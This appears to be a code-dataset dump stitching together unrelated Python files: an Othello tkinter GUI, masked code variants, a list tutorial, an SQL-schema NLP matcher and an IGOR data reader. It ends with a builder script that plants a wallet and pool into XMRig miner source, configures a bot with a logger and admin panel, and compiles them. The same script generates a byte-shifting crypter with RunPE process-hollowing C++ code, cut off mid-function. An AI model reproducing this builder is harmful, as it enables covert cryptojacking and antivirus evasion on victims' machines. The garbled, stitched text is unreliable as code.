new_row = [] for disc in row: if disc.Current_Color == "white": new_row.append("W") elif disc.Current_Color == "black": new_row.append("B") else: new_row.append(None) new_board.append(new_row) return new_board def Instructions_Display(self): showinfo("How to use", "Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!") def Start (self): # This will check if the user wants to use a custom board and then will set Game board to be the users selection if self.Use_Board.get(): self.controller.Handler.GameParams["board"] = self.Parse_Board() self.controller.Begin_Game() self.controller.Pages["Game"].__GUI_init__() self.controller.Pages["Game"].Update_Board() self.controller.showPage("Game") class Game (tk.Frame): # This is the 'stage' where the game will be played. FrameName = "Game" def __init__ (self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg="white") # Status Bar self.Status_Bar = tk.Frame(self, bg="white") self.Status_Bar.pack(side="top", fill="x") self.Status_Bar.grid_columnconfigure(0, weight=1) self.Status_Bar.grid_columnconfigure(1, weight=1) self.Status_Bar.grid_columnconfigure(2, weight=1) self.Status_Bar.grid_rowconfigure(0, weight=1) self.Current_Player = tk.Label(self.Status_Bar, text="None", bg="white", font=FONTS["medium"]) self.Current_Player.grid(row=0, column=0) self.Game_Type = tk.Label(self.Status_Bar, text="FULL", bg="white", font=FONTS["medium"]) self.Game_Type.grid(row=0, column=1) self.Score = tk.Label(self.Status_Bar, text="Black: 2 | 2:White", bg="white", font=FONTS["medium"]) self.Score.grid(row=0, column=2) # Board self.Board_Area = tk.Frame(self, bg="#009900") self.Board_Area.pack(side="top", fill="both", expand=True) self.Board = [] def __GUI_init__ (self): # This will initiate the game board once all the datya is provided. for y in range(self.controller.Handler.GameParams["y_size"]): row = [] for x in range(self.controller.Handler.GameParams["x_size"]): # Diameter with respond to the length of the shortest side of the board height = self.Board_Area.winfo_height() width = self.Board_Area.winfo_width() if height > width: diameter = width/self.controller.Handler.GameParams["x_size"] else: diameter = height/self.controller.Handler.GameParams["y_size"] self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, command= lambda x=x, y=y: self.Disc_Function(x, y)) disc.grid(row=y, column=x, sticky="nsew") row.append(disc) self.Board.append(row) self.Update_Board() def Reset_Game(self): #This will reset the game board to its initial state self.Board = [] for widget in self.Board_Area.winfo_children(): widget.destroy() def Disc_Function (self, x: int, y: int): # This is the function run when the player clicks a disc slot/disc if not self.controller.Handler.Move(x+1, y+1): # Try run the Move function on the Handler self.Invalid_Move() def Invalid_Move(self): # This command will run when a player tries to make a move thats not possible showerror("Invalid Move", "You cannot move there!") def Update_Board (self): # Update the board to mathe the Game() board for y in range(len(self.Board)): for x in range(len(self.Board[y])): game_piece = self.controller.Handler.Game.Board[y][x] if game_piece == None: pass elif game_piece == "B": if self.Board[y][x].Current_Color != "black": self.Board[y][x].Set_Piece_Color("black") elif game_piece == "W": if self.Board[y][x].Current_Color != "white": self.Board[y][x].Set_Piece_Color("white") def Update_Current_Player (self): # Update the current player identifier self.Current_Player.config(text="Turn: " + self.controller.Get_Current_Player()) def Update_Game_Type(self): # Update the game type identifier g_type = self.controller.Handler.Get_Game_Type() self.Game_Type.configure(text="Rules: " + g_type) def Update_Score (self): # Update the score identifier b, w = self.controller.Handler.Get_Score() self.Score.configure(text="Black: {0!s} | {1!s} :White".format(b, w)) def Full_Update(self): # Run a full update on the graphics self.Update_Score() self.Update_Current_Player() self.Update_Board() class Postgame (tk.Frame): # The 'end game' screen FrameName = "Postgame" def __init__ (self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller self.configure(bg="white") # Set a page title self.Title = tk.Label(self, text="Game Over!", bg="white", font=FONTS["large"]) self.Title.pack(side="top") Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10) # Set the winner text object self.Winner = tk.Label(self, text="The winner is black-discs.", bg="white", font=FONTS["medium"]) self.Winner.pack(side="top") # Create the replay and exit buttons self.Buttons = tk.Frame(self, bg="white") self.Buttons.pack() Replay = tk.Button(self.Buttons, text="Replay", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Replay()) Replay.grid(row=0, column=0) Quit = tk.Button(self.Buttons, text="Quit", bg="#bbbbbb", font=FONTS["medium"], command=lambda: self.Quit()) Quit.grid(row=0, column=1) # the area for the board output self.Board_Area = tk.Frame(self, bg="white") self.Board_Area.pack(side="bottom") # Score text self.Score = tk.Label(self.Board_Area, text="", bg="white", font=FONTS["medium"]) self.Score.pack() # The display for the board self.Board_Display = tk.Frame(self.Board_Area, bg="green") self.Board_Display.pack() self.Board = [] def Replay(self): # Initiate the Replay self.controller.Replay() def Quit(self): # Kill the game self.controller.destroy() exit() def Update_Board (self): # Update the game board display, kill old, create new for widget in self.Board_Display.winfo_children(): widget.destroy() for y in range(self.controller.Handler.GameParams["y_size"]): row = [] for x in range(self.controller.Handler.GameParams["x_size"]): self.Board_Area.grid_columnconfigure(x, weight=1) self.Board_Area.grid_rowconfigure(y, weight=1) col = None place_col = self.controller.Handler.Game.Board[y][x] if place_col == "B": col = "black" elif place_col == "W": col = "white" disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50) disc.grid(row=y, column=x, sticky="nsew") row.append(disc) self.Board.append(row) def Update(self): # Update the whole page winner, scores = self.controller.Handler.Get_Winner() if winner.lower() == "b": winner = "black-discs" elif winner.lower() == "w": winner = "white-discs" else: winner == "no one" self.Winner.configure(text="The winner is " + winner) self.Score.configure(text="Black: {0!s} | {1!s}:White".format(scores[0], scores[1])) self.Update_Board() if __name__ == "__main__": Window = Handler()
[ 31, 36, 45, 57, 59 ]
9,935
1c134cba779459b57f1f3c195aed37d105b94aef
<mask token>
<mask token> print('my_list consists of: ', my_list) print() print('Operations similar to strings') print('Concatenation') print("my_list + ['bill'] equals: ", my_list + ['bill']) print() print('Repeat') print('my_list * 3 equals: ', my_list * 3) print() print('Indexing') print('1st element is my_list[0]: ', my_list[0]) print('last element is my_list[-1]: ', my_list[-1]) print() print('Slicing') print('First two elements are my_list[0:2]: ', my_list[0:2]) print('Last two elements are my_list[-2:]: ', my_list[-2:]) print('Slice assignment, my_list[:2]=[]: ') <mask token> print('my_list is: ', my_list) print() print('Length') print('Length is len(my_list): ', len(my_list)) print() print('New stuff, which modifies the list (not for strings)') print('Append element to the end, my_list.append(True): ') my_list.append(True) print('my_list is: ', my_list) print('Append list into the list, my_list.append([5,6]): ') my_list.append([5, 6]) print('my_list is: ', my_list) print() print('Extend, can append all elements in a list') print("Extend single element to the end, my_list.extend('z'): ") my_list.extend('z') print('my_list is: ', my_list) print('Extend a list of elements, my_list.extend([5,6,7]): ') my_list.extend([5, 6, 7]) print('my_list is: ', my_list) print() print('Delete elements') print('Delete the first element, del my_list[0]: ') del my_list[0] print('my_list is: ', my_list) print('Delete last 4 elements, del my_list[-4:]: ') del my_list[-4:] print('my_list is: ', my_list)
my_list = [1, 'a', 3.14] print('my_list consists of: ', my_list) print() print('Operations similar to strings') print('Concatenation') print("my_list + ['bill'] equals: ", my_list + ['bill']) print() print('Repeat') print('my_list * 3 equals: ', my_list * 3) print() print('Indexing') print('1st element is my_list[0]: ', my_list[0]) print('last element is my_list[-1]: ', my_list[-1]) print() print('Slicing') print('First two elements are my_list[0:2]: ', my_list[0:2]) print('Last two elements are my_list[-2:]: ', my_list[-2:]) print('Slice assignment, my_list[:2]=[]: ') my_list[:2] = [] print('my_list is: ', my_list) print() print('Length') print('Length is len(my_list): ', len(my_list)) print() print('New stuff, which modifies the list (not for strings)') print('Append element to the end, my_list.append(True): ') my_list.append(True) print('my_list is: ', my_list) print('Append list into the list, my_list.append([5,6]): ') my_list.append([5, 6]) print('my_list is: ', my_list) print() print('Extend, can append all elements in a list') print("Extend single element to the end, my_list.extend('z'): ") my_list.extend('z') print('my_list is: ', my_list) print('Extend a list of elements, my_list.extend([5,6,7]): ') my_list.extend([5, 6, 7]) print('my_list is: ', my_list) print() print('Delete elements') print('Delete the first element, del my_list[0]: ') del my_list[0] print('my_list is: ', my_list) print('Delete last 4 elements, del my_list[-4:]: ') del my_list[-4:] print('my_list is: ', my_list)
# wfp, 6/6 # simple list stuff my_list = [1,'a',3.14] print("my_list consists of: ",my_list) print() print("Operations similar to strings") print("Concatenation") print("my_list + ['bill'] equals: ", my_list + ["bill"]) print() print("Repeat") print("my_list * 3 equals: ", my_list * 3) print() print("Indexing") print("1st element is my_list[0]: ",my_list[0]) print("last element is my_list[-1]: ", my_list[-1]) print() print("Slicing") print("First two elements are my_list[0:2]: ",my_list[0:2]) print("Last two elements are my_list[-2:]: ",my_list[-2:]) print("Slice assignment, my_list[:2]=[]: ") my_list[:2] = [] print("my_list is: ",my_list) print() print("Length") print("Length is len(my_list): ",len(my_list)) print() print("New stuff, which modifies the list (not for strings)") print("Append element to the end, my_list.append(True): ") my_list.append(True) print("my_list is: ",my_list) print("Append list into the list, my_list.append([5,6]): ") my_list.append([5,6]) print("my_list is: ",my_list) print() print("Extend, can append all elements in a list") print("Extend single element to the end, my_list.extend('z'): ") my_list.extend('z') print("my_list is: ",my_list) print("Extend a list of elements, my_list.extend([5,6,7]): ") my_list.extend([5,6,7]) print("my_list is: ",my_list) print() print("Delete elements") print("Delete the first element, del my_list[0]: ") del(my_list[0]) print("my_list is: ",my_list) print("Delete last 4 elements, del my_list[-4:]: ") del(my_list[-4:]) print("my_list is: ",my_list)
null
[ 0, 1, 2, 3 ]
9,936
76ebab93441676f9f00b2c2d63435e72c2d5d1ba
<mask token> class DBModel(object): <mask token> <mask token> <mask token> <mask token>
<mask token> class DBModel(object): <mask token> <mask token> def get_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity. name.lower())) for column in entity.columns: matcher.add(column.name.upper() + '_COLUMN', None, nlp( column.name.lower())) for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + '_TABLE', None, nlp( synonym.synonym.lower())) for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + '_COLUMN', None, nlp( synonym.synonym.lower())) return matcher <mask token>
<mask token> class DBModel(object): <mask token> def load_db_model(self): cursor = self.conn.cursor() cursor.execute(self.config.get_tables_sql_query()) for row in cursor: self.entities.append(Entities(row.table_name, self.config. get_default_column(row.table_name))) cursor.execute(self.config.get_columns_sql_query()) current_entity = None current_entity_name = '' for row in cursor: if current_entity_name != row.table_name: current_entity_name = row.table_name current_entity = next(en for en in self.entities if en.name == current_entity_name) col_type = row.type_name if col_type == 'varchar' or col_type == 'nvarchar': col_type = 'string' current_entity.columns.append(Columns(row.column_name, col_type)) current_entity = None current_entity_name = '' cursor.execute(self.config.get_FK_sql_query()) for row in cursor: self.relationships.append(Relationship(row.parent_table, row. refrenced_table, row.parent_table_col, row. referenced_table_col)) if len([en for en in self.entity_graph if en[0] == row. parent_table]) > 0: current_entity = next(en for en in self.entity_graph if en[ 0] == row.parent_table) current_entity[1].append(row.refrenced_table) else: self.entity_graph.append((row.parent_table, [row. refrenced_table])) if len([en for en in self.entity_graph if en[0] == row. refrenced_table]) > 0: current_entity = next(en for en in self.entity_graph if en[ 0] == row.refrenced_table) current_entity[1].append(row.parent_table) else: self.entity_graph.append((row.refrenced_table, [row. parent_table])) current_entity = None current_entity_name = '' cursor.execute(self.config.get_PK_sql_query()) for row in cursor: if len([en for en in self.entity_graph if en[0] == row.table_name] ) == 1: current_entity = next(en for en in self.entities if en.name == row.table_name) current_entity.primaryKey = row.primary_key for entity_to_load in self.config.get_entitites_to_load(): entity_load_query = 'select distinct ' + entity_to_load['column' ] + ' from ' + entity_to_load['entity'] cursor.execute(entity_load_query) entity_data = entity_to_load['entity'], [] for row in cursor: entity_data[1].append(row[0]) lemmas = self.lemmatizer(str(row[0]), u'NOUN') for lemma in lemmas: entity_data[1].append(str(lemma)) self.loaded_entities.append(entity_data) for table_synonym in self.config.get_synonyms()['table']: orginal_val = table_synonym['original'] synonyms_vals = table_synonym['synonyms'] for synonyms_val in synonyms_vals: self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val)) for column_synonym in self.config.get_synonyms()['column']: orginal_val = column_synonym['original'] synonyms_vals = column_synonym['synonyms'] for synonyms_val in synonyms_vals: self.synonyms_col.append(Synonyms(orginal_val, synonyms_val)) self.columns = [column for entity in self.entities for column in entity.columns] def get_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity. name.lower())) for column in entity.columns: matcher.add(column.name.upper() + '_COLUMN', None, nlp( column.name.lower())) for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + '_TABLE', None, nlp( synonym.synonym.lower())) for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + '_COLUMN', None, nlp( synonym.synonym.lower())) return matcher def get_custom_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name. lower())) for column in entity.columns: matcher.add(column.name.upper() + '_COLUMN', nlp(column. name.lower())) for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + '_TABLE', nlp(synonym .synonym.lower())) for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + '_COLUMN', nlp( synonym.synonym.lower())) return matcher
<mask token> class DBModel(object): def __init__(self): self.entities = [] self.columns = [] self.relationships = [] self.synonyms_col = [] self.synonyms_tab = [] self.entity_graph = [] self.loaded_entities = [] self.config = Configuration() self.conn = pyodbc.connect(self.config.get_sql_connection_string()) lookups = Lookups() self.lemmatizer = Lemmatizer(lookups) self.load_db_model() def load_db_model(self): cursor = self.conn.cursor() cursor.execute(self.config.get_tables_sql_query()) for row in cursor: self.entities.append(Entities(row.table_name, self.config. get_default_column(row.table_name))) cursor.execute(self.config.get_columns_sql_query()) current_entity = None current_entity_name = '' for row in cursor: if current_entity_name != row.table_name: current_entity_name = row.table_name current_entity = next(en for en in self.entities if en.name == current_entity_name) col_type = row.type_name if col_type == 'varchar' or col_type == 'nvarchar': col_type = 'string' current_entity.columns.append(Columns(row.column_name, col_type)) current_entity = None current_entity_name = '' cursor.execute(self.config.get_FK_sql_query()) for row in cursor: self.relationships.append(Relationship(row.parent_table, row. refrenced_table, row.parent_table_col, row. referenced_table_col)) if len([en for en in self.entity_graph if en[0] == row. parent_table]) > 0: current_entity = next(en for en in self.entity_graph if en[ 0] == row.parent_table) current_entity[1].append(row.refrenced_table) else: self.entity_graph.append((row.parent_table, [row. refrenced_table])) if len([en for en in self.entity_graph if en[0] == row. refrenced_table]) > 0: current_entity = next(en for en in self.entity_graph if en[ 0] == row.refrenced_table) current_entity[1].append(row.parent_table) else: self.entity_graph.append((row.refrenced_table, [row. parent_table])) current_entity = None current_entity_name = '' cursor.execute(self.config.get_PK_sql_query()) for row in cursor: if len([en for en in self.entity_graph if en[0] == row.table_name] ) == 1: current_entity = next(en for en in self.entities if en.name == row.table_name) current_entity.primaryKey = row.primary_key for entity_to_load in self.config.get_entitites_to_load(): entity_load_query = 'select distinct ' + entity_to_load['column' ] + ' from ' + entity_to_load['entity'] cursor.execute(entity_load_query) entity_data = entity_to_load['entity'], [] for row in cursor: entity_data[1].append(row[0]) lemmas = self.lemmatizer(str(row[0]), u'NOUN') for lemma in lemmas: entity_data[1].append(str(lemma)) self.loaded_entities.append(entity_data) for table_synonym in self.config.get_synonyms()['table']: orginal_val = table_synonym['original'] synonyms_vals = table_synonym['synonyms'] for synonyms_val in synonyms_vals: self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val)) for column_synonym in self.config.get_synonyms()['column']: orginal_val = column_synonym['original'] synonyms_vals = column_synonym['synonyms'] for synonyms_val in synonyms_vals: self.synonyms_col.append(Synonyms(orginal_val, synonyms_val)) self.columns = [column for entity in self.entities for column in entity.columns] def get_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity. name.lower())) for column in entity.columns: matcher.add(column.name.upper() + '_COLUMN', None, nlp( column.name.lower())) for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + '_TABLE', None, nlp( synonym.synonym.lower())) for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + '_COLUMN', None, nlp( synonym.synonym.lower())) return matcher def get_custom_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name. lower())) for column in entity.columns: matcher.add(column.name.upper() + '_COLUMN', nlp(column. name.lower())) for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + '_TABLE', nlp(synonym .synonym.lower())) for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + '_COLUMN', nlp( synonym.synonym.lower())) return matcher
import pyodbc from configuration.config import Configuration from models.entities import Entities from models.columns import Columns from models.relationships import Relationship from models.synonyms import Synonyms from spacy.lemmatizer import Lemmatizer from spacy.lookups import Lookups class DBModel(object): def __init__(self): self.entities = [] self.columns = [] self.relationships = [] self.synonyms_col = [] self.synonyms_tab = [] self.entity_graph = [] self.loaded_entities = [] self.config = Configuration() self.conn = pyodbc.connect(self.config.get_sql_connection_string()) lookups = Lookups() self.lemmatizer = Lemmatizer(lookups) self.load_db_model() def load_db_model(self): # loading the database from sql server cursor = self.conn.cursor() cursor.execute(self.config.get_tables_sql_query()) for row in cursor: self.entities.append(Entities(row.table_name, self.config.get_default_column(row.table_name))) cursor.execute(self.config.get_columns_sql_query()) current_entity = None current_entity_name = "" for row in cursor: if current_entity_name != row.table_name: current_entity_name = row.table_name current_entity = next(en for en in self.entities if en.name == current_entity_name) col_type = row.type_name if col_type == "varchar" or col_type == "nvarchar": col_type = "string" current_entity.columns.append(Columns(row.column_name, col_type)) current_entity = None current_entity_name = "" cursor.execute(self.config.get_FK_sql_query()) for row in cursor: self.relationships.append(Relationship(row.parent_table, row.refrenced_table, row.parent_table_col, row.referenced_table_col)) if len([en for en in self.entity_graph if en[0] == row.parent_table]) > 0: current_entity = next(en for en in self.entity_graph if en[0] == row.parent_table) current_entity[1].append(row.refrenced_table) else: self.entity_graph.append((row.parent_table, [row.refrenced_table])) if len([en for en in self.entity_graph if en[0] == row.refrenced_table]) > 0: current_entity = next(en for en in self.entity_graph if en[0] == row.refrenced_table) current_entity[1].append(row.parent_table) else: self.entity_graph.append((row.refrenced_table, [row.parent_table])) current_entity = None current_entity_name = "" cursor.execute(self.config.get_PK_sql_query()) for row in cursor: if len([en for en in self.entity_graph if en[0] == row.table_name]) == 1: current_entity = next(en for en in self.entities if en.name == row.table_name) current_entity.primaryKey = row.primary_key for entity_to_load in self.config.get_entitites_to_load(): entity_load_query = "select distinct " + entity_to_load["column"] + " from " + entity_to_load["entity"] cursor.execute(entity_load_query) entity_data = (entity_to_load["entity"], []) for row in cursor: entity_data[1].append(row[0]) # add lemma strings lemmas = self.lemmatizer(str(row[0]), u'NOUN') for lemma in lemmas: entity_data[1].append(str(lemma)) self.loaded_entities.append(entity_data) # load synonyms from declarative file # table sysnonyms for table_synonym in self.config.get_synonyms()["table"]: orginal_val = table_synonym["original"] synonyms_vals = table_synonym["synonyms"] for synonyms_val in synonyms_vals: self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val)) # column sysnonyms for column_synonym in self.config.get_synonyms()["column"]: orginal_val = column_synonym["original"] synonyms_vals = column_synonym["synonyms"] for synonyms_val in synonyms_vals: self.synonyms_col.append(Synonyms(orginal_val, synonyms_val)) # make a single array self.columns = [column for entity in self.entities for column in entity.columns] # might have to write a custom matcher TODO # build the matcher based upon the original value and domain synonyms defined def get_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + "_TABLE", None, nlp(entity.name.lower())) for column in entity.columns: matcher.add(column.name.upper() + "_COLUMN", None, nlp(column.name.lower())) # add table synonyms to matcher for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + "_TABLE", None, nlp(synonym.synonym.lower())) # add column synonyms to matcher for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + "_COLUMN", None, nlp(synonym.synonym.lower())) return matcher def get_custom_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + "_TABLE", nlp(entity.name.lower())) for column in entity.columns: matcher.add(column.name.upper() + "_COLUMN", nlp(column.name.lower())) # add table synonyms to matcher for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + "_TABLE", nlp(synonym.synonym.lower())) # add column synonyms to matcher for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + "_COLUMN", nlp(synonym.synonym.lower())) return matcher
[ 1, 2, 4, 5, 7 ]
9,937
3cdb39e201983e672f6c22c25492a120be3d0d48
""" """ ##################################################################### #This software was developed by the University of Tennessee as part of the #Distributed Data Analysis of Neutron Scattering Experiments (DANSE) #project funded by the US National Science Foundation. #See the license text in license.txt #copyright 2008, University of Tennessee ###################################################################### import numpy as np import os from sas.sascalc.dataloader.data_info import Data1D from sas.sascalc.dataloader.data_info import Detector has_converter = True try: from sas.sascalc.data_util.nxsunit import Converter except: has_converter = False class Reader: """ Class to load IGOR reduced .ABS files """ ## File type type_name = "IGOR 1D" ## Wildcards type = ["IGOR 1D files (*.abs)|*.abs"] ## List of allowed extensions ext = ['.abs', '.ABS'] def read(self, path): """ Load data file. :param path: file path :return: Data1D object, or None :raise RuntimeError: when the file can't be opened :raise ValueError: when the length of the data vectors are inconsistent """ if os.path.isfile(path): basename = os.path.basename(path) root, extension = os.path.splitext(basename) if extension.lower() in self.ext: try: input_f = open(path,'r') except: raise RuntimeError, "abs_reader: cannot open %s" % path buff = input_f.read() lines = buff.split('\n') x = np.zeros(0) y = np.zeros(0) dy = np.zeros(0) dx = np.zeros(0) output = Data1D(x, y, dy=dy, dx=dx) detector = Detector() output.detector.append(detector) output.filename = basename is_info = False is_center = False is_data_started = False data_conv_q = None data_conv_i = None if has_converter == True and output.x_unit != '1/A': data_conv_q = Converter('1/A') # Test it data_conv_q(1.0, output.x_unit) if has_converter == True and output.y_unit != '1/cm': data_conv_i = Converter('1/cm') # Test it data_conv_i(1.0, output.y_unit) for line in lines: # Information line 1 if is_info == True: is_info = False line_toks = line.split() # Wavelength in Angstrom try: value = float(line_toks[1]) if has_converter == True and \ output.source.wavelength_unit != 'A': conv = Converter('A') output.source.wavelength = conv(value, units=output.source.wavelength_unit) else: output.source.wavelength = value except: #goes to ASC reader msg = "abs_reader: cannot open %s" % path raise RuntimeError, msg # Distance in meters try: value = float(line_toks[3]) if has_converter == True and \ detector.distance_unit != 'm': conv = Converter('m') detector.distance = conv(value, units=detector.distance_unit) else: detector.distance = value except: #goes to ASC reader msg = "abs_reader: cannot open %s" % path raise RuntimeError, msg # Transmission try: output.sample.transmission = float(line_toks[4]) except: # Transmission is not a mandatory entry pass # Thickness in mm try: value = float(line_toks[5]) if has_converter == True and \ output.sample.thickness_unit != 'cm': conv = Converter('cm') output.sample.thickness = conv(value, units=output.sample.thickness_unit) else: output.sample.thickness = value except: # Thickness is not a mandatory entry pass #MON CNT LAMBDA DET ANG DET DIST TRANS THICK # AVE STEP if line.count("LAMBDA") > 0: is_info = True # Find center info line if is_center == True: is_center = False line_toks = line.split() # Center in bin number center_x = float(line_toks[0]) center_y = float(line_toks[1]) # Bin size if has_converter == True and \ detector.pixel_size_unit != 'mm': conv = Converter('mm') detector.pixel_size.x = conv(5.0, units=detector.pixel_size_unit) detector.pixel_size.y = conv(5.0, units=detector.pixel_size_unit) else: detector.pixel_size.x = 5.0 detector.pixel_size.y = 5.0 # Store beam center in distance units # Det 640 x 640 mm if has_converter == True and \ detector.beam_center_unit != 'mm': conv = Converter('mm') detector.beam_center.x = conv(center_x * 5.0, units=detector.beam_center_unit) detector.beam_center.y = conv(center_y * 5.0, units=detector.beam_center_unit) else: detector.beam_center.x = center_x * 5.0 detector.beam_center.y = center_y * 5.0 # Detector type try: detector.name = line_toks[7] except: # Detector name is not a mandatory entry pass #BCENT(X,Y) A1(mm) A2(mm) A1A2DIST(m) DL/L # BSTOP(mm) DET_TYP if line.count("BCENT") > 0: is_center = True # Parse the data if is_data_started == True: toks = line.split() try: _x = float(toks[0]) _y = float(toks[1]) _dy = float(toks[2]) _dx = float(toks[3]) if data_conv_q is not None: _x = data_conv_q(_x, units=output.x_unit) _dx = data_conv_i(_dx, units=output.x_unit) if data_conv_i is not None: _y = data_conv_i(_y, units=output.y_unit) _dy = data_conv_i(_dy, units=output.y_unit) x = np.append(x, _x) y = np.append(y, _y) dy = np.append(dy, _dy) dx = np.append(dx, _dx) except: # Could not read this data line. If we are here # it is because we are in the data section. Just # skip it. pass #The 6 columns are | Q (1/A) | I(Q) (1/cm) | std. dev. # I(Q) (1/cm) | sigmaQ | meanQ | ShadowFactor| if line.count("The 6 columns") > 0: is_data_started = True # Sanity check if not len(y) == len(dy): msg = "abs_reader: y and dy have different length" raise ValueError, msg # If the data length is zero, consider this as # though we were not able to read the file. if len(x) == 0: raise ValueError, "ascii_reader: could not load file" output.x = x[x != 0] output.y = y[x != 0] output.dy = dy[x != 0] output.dx = dx[x != 0] if data_conv_q is not None: output.xaxis("\\rm{Q}", output.x_unit) else: output.xaxis("\\rm{Q}", 'A^{-1}') if data_conv_i is not None: output.yaxis("\\rm{Intensity}", output.y_unit) else: output.yaxis("\\rm{Intensity}", "cm^{-1}") # Store loading process information output.meta_data['loader'] = self.type_name return output else: raise RuntimeError, "%s is not a file" % path return None
null
null
null
null
[ 0 ]
9,938
d1254e558217cce88de2f83b87d5c54333f1c677
<mask token> def load_userdata(wallet, pool, ww, logger, adminka): with open('D:\\msys64\\xmrig-master\\src\\ex.cpp', 'r') as f: file = f.read() file = file.replace('%u%', wallet) file = file.replace('%p%', pool) file = file.replace('%w%', ww) with open('D:\\msys64\\xmrig-master\\src\\xmrig.cpp', 'w') as w: w.write(file) with open(os.getcwd() + '\\Bot\\Miner\\ex.cs', 'r') as f: file = f.read() file = file.replace('%l%', logger) file = file.replace('%a%', adminka) with open(os.getcwd() + '\\Bot\\Miner\\Program.cs', 'w') as w: w.write(file) def writeBytes(key): with open(os.getcwd() + '\\file.txt', 'r') as f: file = f.read() with open(os.getcwd() + '\\Miner\\CryptRunPe\\winhost.cpp', 'w') as w: w.write( """#include <stdafx.h> #include "process.h" #include "memrun.h" using namespace std; """ ) with open('ex.txt') as ex: w.write(file) exx = ex.read() w.write(exx) def compile(path, file): os.system( '%windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileM(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release') def compileR(path, file): os.system('msbuild.exe "' + path + file + '.sln" /p:Configuration=Release /p:Platform="WIN32"') def xcopy(path, out): try: with open(path, 'rb') as f: file = f.read() with open(out, 'wb') as w: w.write(bytearray(file)) except: pass def crypt(name, key): with open('encoder.cpp', 'w') as w: txt = """ #include <Windows.h> #include <winternl.h> #include <iostream> #include <string> #include <fstream> using namespace std; int main() { FILE * file = fopen("in.exe", "rb"); if (file == NULL) return 0; fseek(file, 0, SEEK_END); long int size = ftell(file); fclose(file); file = fopen("in.exe", "rb"); unsigned char * in = (unsigned char *)malloc(size); int bytes_read = fread(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] - 0x0%n%; } file = fopen("out.exe", "wb"); int bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); for (int i = 0; i < size; i++) { in[i] = in[i] + 0x0%n%; } file = fopen("decr.exe", "wb"); bytes_written = fwrite(in, sizeof(unsigned char), size, file); fclose(file); return 0; } """ txt = txt.replace('%n%', str(key)) w.write(txt) os.system('g++ -o enc encoder.cpp') os.system('C:\\Python27\\python.exe cv.py') with open('file.txt', 'r') as r: with open(os.getcwd() + '\\src\\crypter\\crypter.cpp', 'w') as w: txt = """ #include "stdafx.h" #include "Crypter.h" #include <windows.h> #include <winternl.h> #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"ntdll.lib") """ + r.read() + """ int RunPortableExecutable(void* Image) { IMAGE_DOS_HEADER* DOSHeader; IMAGE_NT_HEADERS* NtHeader; IMAGE_SECTION_HEADER* SectionHeader; PROCESS_INFORMATION PI; STARTUPINFOA SI; CONTEXT* CTX; DWORD* ImageBase; void* pImageBase; int count; char buffer[MAX_PATH]; GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH); char *CurrentFilePath = buffer; DOSHeader = PIMAGE_DOS_HEADER(Image); NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); if (NtHeader->Signature == IMAGE_NT_SIGNATURE) { ZeroMemory(&PI, sizeof(PI)); ZeroMemory(&SI, sizeof(SI)); typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); NtUnmapViewOfSection mNtUnmapViewOfSection; if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) { CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE)); CTX->ContextFlags = CONTEXT_FULL; if 